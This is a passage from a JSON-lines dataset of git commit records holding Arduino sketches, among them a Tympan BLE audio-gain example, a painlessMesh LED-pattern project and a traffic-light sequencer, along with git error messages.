Created: Chip Audette, June 2020 (updated Aug 2021 for BLE debugging)\n* Purpose: Process audio using Tympan by applying gain.\n* Also, illustrate how to change Tympan setting via the TympanRemote App.\n*\n* TympanRemote App: https:\/\/play.google.com\/store\/apps\/details?id=com.creare.tympanRemote\n*\n* This sketch follows the AppTutorial example \"BasicGain_wApp\" but adds a bunch of BLE\n* debugging messages. It also adds commands to the Serial Monitor menu to allow you \n* to manually enable\/disable BLE advertising and BT_Class discoverability.\n*\n* MIT License. use at your own risk.\n*\/\n\n#define PRINT_BLE_DEBUG true \/\/set to true to show lots of BLE debugging info in the Serial Monitor\n\n\/\/here are the libraries that we need\n#include <Tympan_Library.h> \/\/include the Tympan Library\n\n\/\/set the sample rate and block size\nconst float sample_rate_Hz = 44100.0f ; \/\/24000 or 44100 (or 44117, or other frequencies in the table in AudioOutputI2S_F32)\nconst int audio_block_samples = 32; \/\/do not make bigger than AUDIO_BLOCK_SAMPLES from AudioStream.h (which is 128)\nAudioSettings_F32 audio_settings(sample_rate_Hz, audio_block_samples);\n\n\/\/create audio library objects for handling the audio\nTympan myTympan(TympanRev::E, audio_settings); \/\/do TympanRev::D or TympanRev::E\nAudioInputI2S_F32 i2s_in; \/\/Digital audio in *from* the Teensy Audio Board ADC.\nAudioEffectGain_F32 gain1; \/\/Applies digital gain to audio data. Left.\nAudioEffectGain_F32 gain2; \/\/Applies digital gain to audio data. Right.\nAudioOutputI2S_F32 i2s_out; \/\/Digital audio out *to* the Teensy Audio Board DAC.\n\n\/\/Make all of the audio connections\nAudioConnection_F32 patchCord1(i2s_in, 0, gain1, 0); \/\/connect the Left input\nAudioConnection_F32 patchCord2(i2s_in, 1, gain2, 0); \/\/connect the Right input\nAudioConnection_F32 patchCord11(gain1, 0, i2s_out, 0); \/\/connect the Left gain to the Left output\nAudioConnection_F32 patchCord12(gain2, 0, i2s_out, 1); \/\/connect the Right gain to the Right output\n\n\/\/define class for handling the GUI on the app\nTympanRemoteFormatter myGUI; \/\/Creates the GUI-writing class for interacting with TympanRemote App\n\n\/\/Create BLE\nBLE ble = BLE(&Serial1);\nbool flag_autoAdvertise = true;\n\n\/\/ define the setup() function, the function that is called once when the device is booting\nconst float input_gain_dB = 10.0f; \/\/gain on the microphone\nfloat digital_gain_dB = 0.0; \/\/this will be set by the app\nvoid setup() {\n\n \/\/begin the serial comms (for debugging)\n myTympan.beginBothSerial();delay(1000);\n Serial.println(\"BasicGain_wApp: starting setup()...\");\n\n \/\/allocate the dynamic memory for audio processing blocks\n AudioMemory_F32(10); \n\n \/\/Enable the Tympan to start the audio flowing!\n myTympan.enable(); \/\/ activate the Tympan's audio module\n\n \/\/Choose the desired input\n myTympan.inputSelect(TYMPAN_INPUT_ON_BOARD_MIC); \/\/ use the on board microphones\n \/\/myTympan.inputSelect(TYMPAN_INPUT_JACK_AS_MIC); \/\/ use the microphone jack - defaults to mic bias 2.5V\n \/\/myTympan.inputSelect(TYMPAN_INPUT_JACK_AS_LINEIN); \/\/ use the microphone jack - defaults to mic bias OFF\n\n \/\/Set the desired volume levels\n myTympan.volume_dB(0); \/\/ headphone amplifier. -63.6 to +24 dB in 0.5dB steps.\n myTympan.setInputGain_dB(input_gain_dB); \/\/ set input volume, 0-47.5dB in 0.5dB setps\n gain1.setGain_dB(digital_gain_dB); \/\/set the digital gain of the Left-channel\n gain2.setGain_dB(digital_gain_dB); \/\/set the digital gainof the Right-channel gain processor \n\n \/\/setup BLE\n while (Serial1.available()) Serial1.read(); \/\/clear the incoming Serial1 (BT) buffer\n ble.setupBLE(myTympan.getBTFirmwareRev()); \/\/this uses the default firmware assumption. You can override!\n ble.version(true); \/\/the \"true\" prints the results to the Serial Monitor\n\n \/\/send help menu for serial commands via the Serial Monitor\n printHelp();\n\n\n Serial.println(\"Setup complete.\");\n} \/\/end setup()\n\n\n\/\/ define the loop() function, the function that is repeated over and over for the life of the device\nvoid loop() {\n \n \/\/look for in-coming serial messages (via USB or via Bluetooth)\n if (Serial.available()) respondToByte((char)Serial.read()); \/\/USB Serial\n\n \/\/respond to BLE\n while (ble.available()) {\n String msgFromBle; int msgLen = ble.recvBLE(&msgFromBle,PRINT_BLE_DEBUG);\n for (int i=0; i < msgLen; i++) respondToByte(msgFromBle[i]);\n }\n\n \/\/service the BLE advertising state\n if (PRINT_BLE_DEBUG) printBleStatus(millis(), 5000);\n if (flag_autoAdvertise) ble.updateAdvertising(millis(),5000); \/\/check every 5000 msec to ensure it is advertising (if not connected)\n\n} \/\/end loop();\n\n\/\/ \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Serviding routines\n\nvoid printBleStatus(unsigned long curTime_millis, unsigned long updatePeriod_millis) {\nstatic unsigned long lastUpdate_millis = 0;\n static float prev_val = -1.0;\n\n \/\/has enough time passed to update everything?\n if (curTime_millis < lastUpdate_millis) lastUpdate_millis = 0; \/\/handle wrap-around of the clock\n if ((curTime_millis - lastUpdate_millis) > updatePeriod_millis) { \/\/is it time to update the user interface?\n \n ble.status(true); \/\/the \"true\" prints the results to the Serial Monitor\n \n lastUpdate_millis = curTime_millis;\n }\n}\n\n\n\/\/ \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Serial \/ App related routines routines\n\n\/\/print menu\nvoid printHelp(void) {\n Serial.println(\"SerialManager Help: Available Commands:\");\n Serial.println(\" h: Print this help\");\n Serial.println(\" k\/K: Increase\/Decrease gain\");\n Serial.println(\" a\/A: Activate\/Deactivate auto-restart of BLE advertising\");\n Serial.println(\" b\/B: Activate\/Deactivate BLE advertising\");\n Serial.println(\" c\/C: Activate\/Deactivate BT Classic discoverable connectable\");\n Serial.println(\" 0: V7: Close any Bluetooth Link 10, 20, 30\");\n Serial.println(\" 1: V7: Close any Bluetooth Link 11, 21, 31\");\n Serial.println(\" 2: V7: Close any Bluetooth Link 12, 22, 32\");\n Serial.println(\" 3: V7: Close any Bluetooth Link 13, 23, 33\");\n Serial.println(\" 4: V7: Close any Bluetooth Link 14, 24, 34\");\n Serial.println(\" s: print Bluetooth status\");\n Serial.println(\" v: print Bluetooth Firmware version info\");\n}\n\n\/\/respond to serial commands\nvoid respondToByte(char c) {\n\n if ((c != '\\n') && (c != '\\r')) {\n Serial.print(\"respondToByte: received character from Serial or Bluetooth: \"); Serial.println(c);\n }\n \n switch (c) {\n case 'h':\n printHelp();\n break;\n case 'J': case 'j': \/\/The TympanRemote app sends a 'J' to the Tympan when it connects\n printTympanRemoteLayout(); \/\/in resonse, the Tympan sends the definition of the GUI that we'd like\n break;\n case 'k':\n changeGain(3.0);\n printGainLevels();\n setButtonText(\"gainIndicator\", String(digital_gain_dB));\n break;\n case 'K':\n changeGain(-3.0);\n printGainLevels();\n setButtonText(\"gainIndicator\", String(digital_gain_dB));\n break;\n case 'a':\n flag_autoAdvertise = true;\n Serial.println(\"respondToByte: activating auto-restart of BLE advertising...\" + String(flag_autoAdvertise)); \n break;\n case 'A':\n flag_autoAdvertise = false;\n Serial.println(\"respondToByte: de-activating auto-restart of BLE advertising...\" + String(flag_autoAdvertise));\n break; \n case 'b':\n Serial.println(\"respondToByte: activating BLE advertising...\");\n ble.advertise(true);\n break;\n case 'B':\n Serial.println(\"respondToByte: de-activating BLE advertising...\");\n ble.advertise(false);\n break;\n case 'c':\n Serial.println(\"respondToByte: activating BT Classic discoverable...\");\n if (ble.get_BC127_firmware_ver() >= 7) {\n ble.discoverableConnectableV7(true);\n } else {\n ble.discoverable(true);\n }\n break;\n case 'C':\n Serial.println(\"respondToByte: de-activating BT Classic discoverable...\");\n if (ble.get_BC127_firmware_ver() >= 7) {\n ble.discoverableConnectableV7(false);\n } else {\n ble.discoverable(false);\n }\n break; \n case '0':\n Serial.println(\"respondToByte: closing BLE Link 10, 20, 30...\");\n ble.close(10);ble.close(20);ble.close(30);\n break; \n case '1':\n Serial.println(\"respondToByte: closing BLE Link 11, 21, 31...\");\n ble.close(11);ble.close(21);ble.close(31);\n break; \n case '2':\n Serial.println(\"respondToByte: closing BLE Link 12, 22, 32...\");\n ble.close(12);ble.close(22);ble.close(32);\n break; \n case '3':\n Serial.println(\"respondToByte: closing BLE Link 13, 23, 33...\");\n ble.close(13);ble.close(23);ble.close(33);\n break; \n case '4':\n Serial.println(\"respondToByte: closing BLE Link 14, 24, 34...\");\n ble.close(14);ble.close(24);ble.close(34);\n break; \n case 's':\n Serial.println(\"respondToByte: printing Bluetooth status...\");\n ble.status(true);\n break; \n case 'v':\n Serial.println(\"respondToByte: printing Bluetooth firmware version info...\");\n ble.version(true);\n break; \n }\n}\n\n\/\/ Print the layout for the Tympan Remote app, in a JSON-ish string\n\/\/ (single quotes are used here, whereas JSON spec requires double quotes. The app converts ' to \" before parsing the JSON string).\n\/\/ Please don't put commas or colons in your ID strings!\nvoid printTympanRemoteLayout(void) {\n if (myGUI.get_nPages() < 1) createTympanRemoteLayout(); \/\/create the GUI, if it hasn't already been created\n Serial.println(myGUI.asString());\n ble.sendMessage(myGUI.asString());\n setButtonText(\"gainIndicator\", String(digital_gain_dB));\n}\n\n\/\/define the GUI for the App\nvoid createTympanRemoteLayout(void) {\n \n \/\/ Create some temporary variables\n TR_Page *page_h; \/\/dummy handle for a page\n TR_Card *card_h; \/\/dummy handle for a card\n\n \/\/Add first page to GUI\n page_h = myGUI.addPage(\"Basic Gain Demo\");\n \/\/Add a card under the first page\n card_h = page_h->addCard(\"Change Loudness\");\n \/\/Add a \"-\" digital gain button with the Label(\"-\"); Command(\"K\"); Internal ID (\"minusButton\"); and width (4)\n card_h->addButton(\"-\",\"K\",\"minusButton\",4); \/\/displayed string, command, button ID, button width (out of 12)\n\n \/\/Add an indicator that's a button with no command: Label (value of the digital gain); Command (\"\"); Internal ID (\"gain indicator\"); width (4).\n card_h->addButton(\"\",\"\",\"gainIndicator\",4); \/\/displayed string (blank for now), command (blank), button ID, button width (out of 12)\n \n \/\/Add a \"+\" digital gain button with the Label(\"+\"); Command(\"K\"); Internal ID (\"minusButton\"); and width (4)\n card_h->addButton(\"+\",\"k\",\"plusButton\",4); \/\/displayed string, command, button ID, button width (out of 12)\n \n \/\/add some pre-defined pages to the GUI\n myGUI.addPredefinedPage(\"serialMonitor\");\n \/\/myGUI.addPredefinedPage(\"serialPlotter\");\n}\n\n\n\/\/change the gain from the App\nvoid changeGain(float change_in_gain_dB) {\n digital_gain_dB = digital_gain_dB + change_in_gain_dB;\n gain1.setGain_dB(digital_gain_dB); \/\/set the gain of the Left-channel gain processor\n gain2.setGain_dB(digital_gain_dB); \/\/set the gain of the Right-channel gain processor\n}\n\n\n\/\/Print gain levels \nvoid printGainLevels(void) {\n Serial.print(\"Analog Input Gain (dB) = \"); \n Serial.println(input_gain_dB); \/\/print text to Serial port for debugging\n Serial.print(\"Digital Gain (dB) = \"); \n Serial.println(digital_gain_dB); \/\/print text to Serial port for debugging\n}\n\nvoid setButtonText(String btnId, String text) {\n String str = \"TEXT=BTN:\" + btnId + \":\"+text;\n Serial.println(str);\n ble.sendMessage(str);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/07-Bluetooth\/BasicGain_wApp_BLEdebug\/BasicGain_wApp_BLEprint.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2179874a29154cae0b4c077842d12ae942d5e6f1","subject":"Create com7.ino","message":"Create com7.ino","repos":"dreamInCoDeforlife\/Arduino_Webinterface,dreamInCoDeforlife\/Arduino_Webinterface,dreamInCoDeforlife\/Arduino_Webinterface","old_file":"com7.ino","new_file":"com7.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/dreamInCoDeforlife\/Arduino_Webinterface.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"738d7d4da4d3c8b5aed167c69885ffcf240185b1","subject":"refactor logging","message":"refactor logging\n","repos":"ccrome\/masterbuilt-smoker-wifi,ccrome\/masterbuilt-smoker-wifi,ccrome\/masterbuilt-smoker-wifi,ccrome\/masterbuilt-smoker-wifi,ccrome\/masterbuilt-smoker-wifi","old_file":"src\/src\/FSBrowserNG.ino","new_file":"src\/src\/FSBrowserNG.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ccrome\/masterbuilt-smoker-wifi.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"d3ecf627c321345b8dbc7a2dd1d8e4cf8581a62d","subject":"Update Lynxmotion_BotBoarduino_LIDAR_Lite_Sweep_Scan.ino","message":"Update Lynxmotion_BotBoarduino_LIDAR_Lite_Sweep_Scan.ino","repos":"PulsedLight3D\/LIDARLite_Basics,DougFirErickson\/LIDARLite_Basics","old_file":"Lynxmotion BotBoarduino\/Lynxmotion_BotBoarduino_LIDAR_Lite_Sweep_Scan\/Lynxmotion_BotBoarduino_LIDAR_Lite_Sweep_Scan.ino","new_file":"Lynxmotion BotBoarduino\/Lynxmotion_BotBoarduino_LIDAR_Lite_Sweep_Scan\/Lynxmotion_BotBoarduino_LIDAR_Lite_Sweep_Scan.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Lynxmotion' did not match any file(s) known to git\nerror: pathspec 'BotBoarduino\/Lynxmotion_BotBoarduino_LIDAR_Lite_Sweep_Scan\/Lynxmotion_BotBoarduino_LIDAR_Lite_Sweep_Scan.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"34f354abf2a3683be1001dc75063db7ee7926674","subject":"Led RGB","message":"Led RGB\n","repos":"otojunior\/sketchbook","old_file":"ledrgb\/ledrgb.ino","new_file":"ledrgb\/ledrgb.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/otojunior\/sketchbook.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"6ae59b87d095294c7068fc492a44527646931123","subject":"add Devices.ino","message":"add Devices.ino\n","repos":"jscrane\/Tasks,jscrane\/Tasks","old_file":"examples\/attiny85\/Devices.ino","new_file":"examples\/attiny85\/Devices.ino","new_contents":"#include <Interrupted.h>\n#include <Tasks.h>\n#include <taskdevices.h>\n\n#define LED\t0\n#define TIMER\t1\n\nSemaphore sem(0);\nWatchdog timer(TIMER, 1);\n\nclass Ticker: public Task<128> {\n\n\tTaskDevices devices;\n\n\tvoid setup() {\n\t\tdevices.add(timer);\n\t\tdevices.begin();\n\t}\n\n\tvoid loop() {\n\t\ttimer.enable();\n\t\tif (devices.select() == TIMER)\n\t\t\tsem.signal();\n\t}\n} ticker;\n\nvoid setup(void) {\n\tTasks::init();\n\tTasks::start(ticker);\n\tTasks::set_idle_handler(TaskDevices::on_no_task_runnable);\n\n\tpinMode(LED, OUTPUT);\n\tdigitalWrite(LED, HIGH);\n}\n\nvoid loop(void) {\n\tsem.wait();\n\tdigitalWrite(LED, !digitalRead(LED));\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/attiny85\/Devices.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"eb492dbcf068a101d34c104382490dd3e210b379","subject":"Add the main File","message":"Add the main File\n","repos":"sebascabot\/eqbe,sebascabot\/eqbe","old_file":"eqbe.ino","new_file":"eqbe.ino","new_contents":"#include \"painlessMesh.h\"\n#include \"FastLED.h\"\nFASTLED_USING_NAMESPACE\n\n\/\/ Configuration\n\n#define BRIGHTNESS 50\n#define FRAMES_PER_SECOND 125 \/\/ 125 frames\/sec <=> 8 milli\/frame\n\n#define NUM_LEDS 25\n\n#define LED_TYPE WS2812B\n#define COLOR_ORDER GRB\n\n#define MIN_WAIT_SECOND 45 \/\/ Broadcast interval\n#define MAX_WAIT_SECOND 90\n\n\/\/ Setup\n\n#define DATA_PIN 14\n#define MOSFET_PIN 16\n\n#define RED_PIN 15\n#define GREEN_PIN 12\n#define BLUE_PIN 13\n\n#define PUSH_BUTTON_PIN 0\n\n#define MESH_PREFIX \"eqbe\"\n#define MESH_PASSWORD \"PapasInventeurs\"\n#define MESH_PORT 5858\n\n\n#define MAX_FRAME_COUNT 160 \/\/ 160 * 8 milli = 1280 milli; Duration of transition effect is 1.3 second\n\nenum patternStateEnum { NORMAL, TRANSITION, NEW_CONNECTION, CHANGED_CONNECTIONS, PATTERN_STATE_COUNT };\nuint8_t gPatternState = NORMAL;\n\nenum patternEnum { SOLID, RAINBOW, CONFETTI, SINELON, BPM, JUGGLE, PATTERN_COUNT };\nconst char *patternName[PATTERN_COUNT] = { \"solid\", \"rainbow\", \"confetti\", \"sinelon\", \"bpm\", \"juggle\" };\n\nenum riderEnum { SEBASTIEN, PASCAL, UNKNOWN_RIDER, RIDER_COUNT };\nconst char *rider[RIDER_COUNT] = { \"Sebastien\", \"Pascal\", \"Unknown\" };\n\nCRGB leds[NUM_LEDS];\n\nuint8_t gFrameCount = 0; \/\/ Inc by 1 for each Frame of Trasition, New\/Changed connection(s) pattern\nuint8_t gHue = 0;\nvoid (*gActivePattern)();\nvoid (*gSelectedPattern)();\nbool gIsOurSentPattern = true;\n\nvoid solid()\n{\n \/\/ FastLED's built-in rainbow generator\n fill_solid( leds, NUM_LEDS, CHSV(gHue, 255, 255));\n}\n\nvoid rainbow()\n{\n \/\/ FastLED's built-in rainbow generator\n fill_rainbow( leds, NUM_LEDS, gHue, 7);\n}\n\nvoid confetti()\n{\n \/\/ random colored speckles that blink in and fade smoothly\n fadeToBlackBy( leds, NUM_LEDS, 10);\n int pos = random16(NUM_LEDS);\n leds[pos] += CHSV( gHue + random8(64), 200, 255);\n}\n\nvoid sinelon()\n{\n \/\/ a colored dot sweeping back and forth, with fading trails\n fadeToBlackBy( leds, NUM_LEDS, 20);\n int pos = beatsin16(13, 0, NUM_LEDS);\n leds[pos] += CHSV( gHue, 255, 192);\n}\n\nvoid bpm()\n{\n \/\/ colored stripes pulsing at a defined Beats-Per-Minute (BPM)\n uint8_t BeatsPerMinute = 62;\n CRGBPalette16 palette = PartyColors_p;\n uint8_t beat = beatsin8( BeatsPerMinute, 64, 255);\n for ( int i = 0; i < NUM_LEDS; i++) { \/\/9948\n leds[i] = ColorFromPalette(palette, gHue + (i * 2), beat - gHue + (i * 10));\n }\n}\n\nvoid juggle() {\n \/\/ eight colored dots, weaving in and out of sync with each other\n fadeToBlackBy( leds, NUM_LEDS, 20);\n byte dothue = 0;\n for ( int i = 0; i < 8; i++) {\n leds[beatsin16(i + 7, 0, NUM_LEDS)] |= CHSV(dothue, 200, 255);\n dothue += 32;\n }\n}\n\nvoid transitionPulse() {\n gFrameCount += 1;\n\n uint8_t hue = gIsOurSentPattern ? HUE_AQUA : HUE_ORANGE;\n\n uint8_t value = 0;\n if (gFrameCount < MAX_FRAME_COUNT - 45) { \/\/ Tiny black interval between the pulse and next pattern\n value = quadwave8(gFrameCount * 2);\n }\n\n fill_solid(leds, NUM_LEDS, CHSV(hue, 255, value));\n}\n\nvoid glitter() {\n gFrameCount += 1;\n\n if (gFrameCount > MAX_FRAME_COUNT - 45) { \/\/ Tiny black interval between the pulse and next pattern\n fill_solid(leds, NUM_LEDS, CRGB::Black);\n } else {\n if (gFrameCount % 4 == 1) { \/\/ Slow down frame rate\n for ( int i = 0; i < NUM_LEDS; i++) {\n leds[i] = CHSV(0, 0, random8() < 60 ? random8() : random8(64));\n }\n }\n }\n}\n\nvoid redGlitter() {\n gFrameCount += 1;\n\n if (gFrameCount > MAX_FRAME_COUNT - 45) { \/\/ Tiny black interval between the pulse and next pattern\n fill_solid(leds, NUM_LEDS, CRGB::Black);\n } else {\n if (gFrameCount % 4 == 1) { \/\/ Slow down frame rate\n for ( int i = 0; i < NUM_LEDS; i++) {\n leds[i] = CHSV(HUE_RED, 0, random8() < 60 ? random8() : random8(64));\n }\n }\n }\n}\n\npainlessMesh mesh;\n\nint8_t nodeId2riderIdx(uint32_t nodeId) {\n switch (nodeId) {\n case 0xa6182c9a:\n return SEBASTIEN;\n case 0x7f0fc58c: \/\/ Witty board\n return PASCAL;\n default:\n return UNKNOWN_RIDER;\n }\n}\n\nvoid setSelectedPattern(uint8_t patternIdx) {\n switch (patternIdx) {\n case SOLID:\n gSelectedPattern = solid;\n break;\n case RAINBOW:\n gSelectedPattern = rainbow;\n break;\n case CONFETTI:\n gSelectedPattern = confetti;\n break;\n case SINELON:\n gSelectedPattern = sinelon;\n break;\n case BPM:\n gSelectedPattern = bpm;\n break;\n case JUGGLE:\n gSelectedPattern = juggle;\n break;\n default:\n Serial.printf(\"ERROR! Unknown Pattern index, %d\\n\", patternIdx);\n }\n}\n\nTask taskSendMessage( TASK_SECOND * 1 , TASK_FOREVER, []() {\n DynamicJsonBuffer jsonBuffer;\n JsonObject& msg = jsonBuffer.createObject();\n\n uint8_t patternIdx = random(0, PATTERN_COUNT);\n setSelectedPattern(patternIdx);\n msg[\"pattern\"] = patternIdx;\n Serial.printf(\" Setting my pattern to %s (index: %d)\\n\", patternName[patternIdx], patternIdx);\n\n gHue = random(0, 255);\n msg[\"hue\"] = gHue;\n Serial.printf(\" Setting my hue to %d\\n\", gHue);\n\n gIsOurSentPattern = true;\n\n String str;\n msg.printTo(str);\n mesh.sendBroadcast(str);\n taskSendMessage.setInterval( random( TASK_SECOND * MIN_WAIT_SECOND, TASK_SECOND * MAX_WAIT_SECOND ));\n\n gFrameCount = 0;\n gPatternState = TRANSITION;\n});\n\nvoid receivedCallback( uint32_t from, String &msg ) {\n Serial.printf(\"Message %s\\n\", msg.c_str());\n\n if (mesh.getNodeId() == from) {\n Serial.printf(\" Sent from ourself! Going to ignore this message\\n\");\n return;\n }\n\n int8_t riderIdx = nodeId2riderIdx(from);\n Serial.printf(\" Sent from rider %s (nodeId: 0x%08x)\\n\", rider[riderIdx], from);\n\n DynamicJsonBuffer jsonBuffer;\n\n JsonObject& root = jsonBuffer.parseObject(msg);\n if (root.containsKey(\"pattern\")) {\n uint8_t patternIdx = root[\"pattern\"];\n Serial.printf(\" Set my pattern to %s (index: %d)\\n\", patternName[patternIdx], patternIdx);\n setSelectedPattern(patternIdx);\n\n gFrameCount = 0;\n gPatternState = TRANSITION;\n gIsOurSentPattern = false;\n\n \/\/ Reset the wait after message reception\n taskSendMessage.setInterval( random( TASK_SECOND * MIN_WAIT_SECOND, TASK_SECOND * MAX_WAIT_SECOND ));\n }\n\n if (root.containsKey(\"hue\")) {\n gHue = root[\"hue\"];\n Serial.printf(\" Set my hue to %d\\n\", gHue);\n }\n}\n\nvoid newConnectionCallback(uint32_t nodeId) {\n Serial.printf(\"New Connection\\n\");\n Serial.printf(\" Remote module ==> NodeId: 0x%08x, Rider: %s\\n\", nodeId, rider[nodeId2riderIdx(nodeId)]);\n \n gFrameCount = 0;\n gPatternState = NEW_CONNECTION;\n}\n\nvoid changedConnectionCallback() {\n Serial.printf(\"Changed connections\\n\");\n Serial.printf(\" %s\\n\", mesh.subConnectionJson().c_str());\n\n gFrameCount = 0;\n gPatternState = CHANGED_CONNECTIONS;\n}\n\nvoid nodeTimeAdjustedCallback(int32_t offset) {\n Serial.printf(\"Adjusted time\\n\");\n Serial.printf(\" Node time: %u, Offset: %d\\n\", mesh.getNodeTime(), offset);\n}\n\nvoid updatePattern () {\n void (*currentPattern)() = gActivePattern;\n\n \/\/ Check if transitive pattern cycle is completed\n if (gPatternState != NORMAL && gFrameCount > MAX_FRAME_COUNT) {\n gPatternState = NORMAL;\n }\n\n switch (gPatternState) {\n case NORMAL:\n gActivePattern = gSelectedPattern;\n break;\n case TRANSITION:\n gActivePattern = transitionPulse;\n break;\n case NEW_CONNECTION:\n gActivePattern = glitter;\n break;\n case CHANGED_CONNECTIONS:\n gActivePattern = redGlitter;\n break;\n default:\n Serial.printf(\"Unknow pattern state idx %d\\n\", gPatternState);\n }\n\n \/\/ Force an update for newly active pattern\n if (currentPattern != gActivePattern) {\n gActivePattern();\n FastLED.show();\n }\n}\n\nbool wasPressed;\nvoid doButton() {\n bool isPressed = (digitalRead(PUSH_BUTTON_PIN) == LOW);\n\n if (isPressed && !wasPressed) { \/\/ Press transition\n wasPressed = true;\n Serial.println(\"[x] Push button pressed\"); \/\/ Transition\n\n taskSendMessage.forceNextIteration();\n } else if (!isPressed && wasPressed) { \/\/ Unpress transition\n wasPressed = false;\n \/\/ Serial.println(\"[-] Push button released transition !!!\");\n } else if (isPressed) {\n \/\/ Button is press (PRESS-STATE)\n \/\/ Serial.println(\"[_] Push button is pressed.\");\n } else {\n \/\/ Serial.println(\"[^] Push button is released.\");\n }\n}\n\nvoid setup() {\n Serial.begin(9600);\n\n delay(250);\n\n Serial.printf(\"\\nBegin Setup.\\n\");\n\n pinMode(MOSFET_PIN, OUTPUT);\n digitalWrite(MOSFET_PIN, HIGH);\n\n FastLED.addLeds<LED_TYPE, DATA_PIN, COLOR_ORDER>(leds, NUM_LEDS);\n FastLED.setBrightness(BRIGHTNESS);\n fill_solid(leds, NUM_LEDS, CHSV(HUE_GREEN, 255, 100));\n FastLED.show();\n\n wasPressed = false;\n pinMode(PUSH_BUTTON_PIN, INPUT_PULLUP);\n\n gPatternState = NORMAL;\n gActivePattern = solid;\n gSelectedPattern = solid;\n\n randomSeed( analogRead( A0 ) );\n\n \/\/mesh.setDebugMsgTypes( ERROR | MESH_STATUS | CONNECTION | SYNC | COMMUNICATION | GENERAL | MSG_TYPES | REMOTE ); \/\/ all types on\n mesh.setDebugMsgTypes( ERROR | STARTUP ); \/\/ set before init() so that you can see startup messages\n\n mesh.init( MESH_PREFIX, MESH_PASSWORD, MESH_PORT );\n mesh.onReceive(&receivedCallback);\n mesh.onNewConnection(&newConnectionCallback);\n mesh.onChangedConnections(&changedConnectionCallback);\n mesh.onNodeTimeAdjusted(&nodeTimeAdjustedCallback);\n\n mesh.scheduler.addTask( taskSendMessage );\n taskSendMessage.enable();\n\n uint32_t nodeId = mesh.getNodeId();\n Serial.printf(\"This module ==> NodeId: 0x%08x, Rider: %s\\n\", nodeId, rider[nodeId2riderIdx(nodeId)]);\n\n Serial.printf(\"Setup completed. %d\\n\", NUM_LEDS);\n}\n\nvoid loop() {\n mesh.update();\n\n doButton();\n\n updatePattern();\n\n EVERY_N_MILLISECONDS( 15 ) {\n if (gPatternState == NORMAL) {\n gHue += 1; \/\/ slowly cycle the \"base color\" through the rainbow\n }\n }\n\n EVERY_N_MILLISECONDS( 1000 \/ FRAMES_PER_SECOND ) {\n gActivePattern();\n FastLED.show();\n }\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'eqbe.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"79490c40b552abf0ceb8f7373971b42061e15b8b","subject":"adding traffic_lights","message":"adding traffic_lights\n","repos":"task123\/AutoTT,task123\/AutoTT,task123\/AutoTT","old_file":"traffic_lights_arduino\/traffic_lights_arduino.ino","new_file":"traffic_lights_arduino\/traffic_lights_arduino.ino","new_contents":"void setup() {\n \/\/ put your setup code here, to run once:\n pinMode(0, OUTPUT);\n pinMode(1, OUTPUT);\n pinMode(2, OUTPUT);\n \n pinMode(3, OUTPUT);\n pinMode(4, OUTPUT);\n pinMode(5, OUTPUT);\n \n pinMode(6, OUTPUT);\n pinMode(7, OUTPUT);\n pinMode(8, OUTPUT);\n \n pinMode(9, OUTPUT);\n pinMode(10, OUTPUT);\n pinMode(11, OUTPUT);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n digitalWrite(0, HIGH);\n digitalWrite(1, LOW);\n digitalWrite(2, LOW);\n\n digitalWrite(3, HIGH);\n digitalWrite(4, LOW);\n digitalWrite(5, LOW);\n \n digitalWrite(6, LOW);\n digitalWrite(7, LOW);\n digitalWrite(8, HIGH);\n\n digitalWrite(9, LOW);\n digitalWrite(10, LOW);\n digitalWrite(11, HIGH);\n \n delay(10000); \n \n digitalWrite(0, LOW);\n digitalWrite(1, HIGH);\n digitalWrite(2, LOW);\n\n digitalWrite(3, LOW);\n digitalWrite(4, HIGH);\n digitalWrite(5, LOW);\n \n digitalWrite(6, LOW);\n digitalWrite(7, HIGH);\n digitalWrite(8, HIGH);\n\n digitalWrite(9, LOW);\n digitalWrite(10, HIGH);\n digitalWrite(11, HIGH);\n\n\n delay(2500); \n\n digitalWrite(0, LOW);\n digitalWrite(1, LOW);\n digitalWrite(2, HIGH);\n\n digitalWrite(3, LOW);\n digitalWrite(4, LOW);\n digitalWrite(5, HIGH);\n \n digitalWrite(6, HIGH);\n digitalWrite(7, LOW);\n digitalWrite(8, LOW);\n\n digitalWrite(9, HIGH);\n digitalWrite(10, LOW);\n digitalWrite(11, LOW);\n\n delay(10000); \n\n digitalWrite(0, LOW);\n digitalWrite(1, HIGH);\n digitalWrite(2, HIGH);\n\n digitalWrite(3, LOW);\n digitalWrite(4, HIGH);\n digitalWrite(5, HIGH);\n \n digitalWrite(6, LOW);\n digitalWrite(7, HIGH);\n digitalWrite(8, LOW);\n\n digitalWrite(9, LOW);\n digitalWrite(10, HIGH);\n digitalWrite(11, LOW);\n \n delay(2500); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'traffic_lights_arduino\/traffic_lights_arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} 